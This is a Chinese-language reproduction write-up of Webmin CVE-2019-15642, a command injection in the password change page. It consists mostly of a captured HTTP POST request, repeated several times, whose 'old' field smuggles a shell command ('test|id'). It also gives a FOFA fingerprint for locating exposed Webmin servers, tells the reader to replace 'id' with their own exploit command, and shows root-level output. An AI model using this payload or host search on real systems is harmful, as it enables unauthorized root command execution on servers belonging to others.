【】-webmin CVE-2019-15642

0x01 webmin描述

Webmin的是一个用于管理类Unix的系统的管理配置工具，具有网络页面。在其找回密码页面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误，该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

0x02 漏洞复现

影响版本:Webmin<=1.9.20

fofa:fid=”msMQZIdASsAWP2cTH1/Pow==”

1.输入账户密码root root登录

2.登录成功

2.burpsuit抓包

3.改包，详情如下，

POST /password_change.cgi HTTP/1.1
Host: x.x.x.x:55710
Cookie: redirect=1; testing=1; sid=62f00980984f9fed437c0b4434cd5ab7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Pjax: true
X-Pjax-Container: [data-dcontainer]
X-Pjax-Url: /webmin/
X-Requested-From: 0
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Origin: https://x.x.x.x:55710
Dnt: 1
Referer: https://x.x.x.x:55710/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 61
Te: trailers
Connection: close
user=root111&pam=&expired=2&old=test|id&new1=test2&new2=test2
POST /password_change.cgi HTTP/1.1

Host: x.x.x.x:55710

Cookie: redirect=1; testing=1; sid=62f00980984f9fed437c0b4434cd5ab7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0

Accept: text/html, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Pjax: true

X-Pjax-Container: [data-dcontainer]

X-Pjax-Url: /webmin/

X-Requested-From: 0

X-Requested-From-Tab: webmin

X-Requested-With: XMLHttpRequest

Origin: https://x.x.x.x:55710

Dnt: 1

Referer: https://x.x.x.x:55710/

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Content-Length: 61

Te: trailers

Connection: close

user=root111&pam=&expired=2&old=test|id&new1=test2&new2=test2
POST /password_change.cgi HTTP/1.1

Host: x.x.x.x:55710

Cookie: redirect=1; testing=1; sid=62f00980984f9fed437c0b4434cd5ab7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0

Accept: text/html, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Pjax: true

X-Pjax-Container: [data-dcontainer]

X-Pjax-Url: /webmin/

X-Requested-From: 0

X-Requested-From-Tab: webmin

X-Requested-With: XMLHttpRequest

Origin: https://x.x.x.x:55710

Dnt: 1

Referer: https://x.x.x.x:55710/

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Content-Length: 61

Te: trailers

Connection: close

user=root111&pam=&expired=2&old=test|id&new1=test2&new2=test2

需要修改的地方：id参数替换为执行的exp

POST /password_change.cgi HTTP/1.1
Referer: https://x.x.x.x:55710/
user=root111&pam=&expired=2&old=test|id&new1=test2&new2=test2
POST /password_change.cgi HTTP/1.1
Referer: https://x.x.x.x:55710/
user=root111&pam=&expired=2&old=test|id&new1=test2&new2=test2
POST /password_change.cgi HTTP/1.1
Referer: https://x.x.x.x:55710/
user=root111&pam=&expired=2&old=test|id&new1=test2&new2=test2

4.执行命令成功，回显出id值为id=0(root) gid=0(root) groups=0(root)

(注：日站不规范，亲人泪两行)

本文转载于公众号：融云攻防实验室，原文地址：漏洞复现-webmin CVE-2019-15642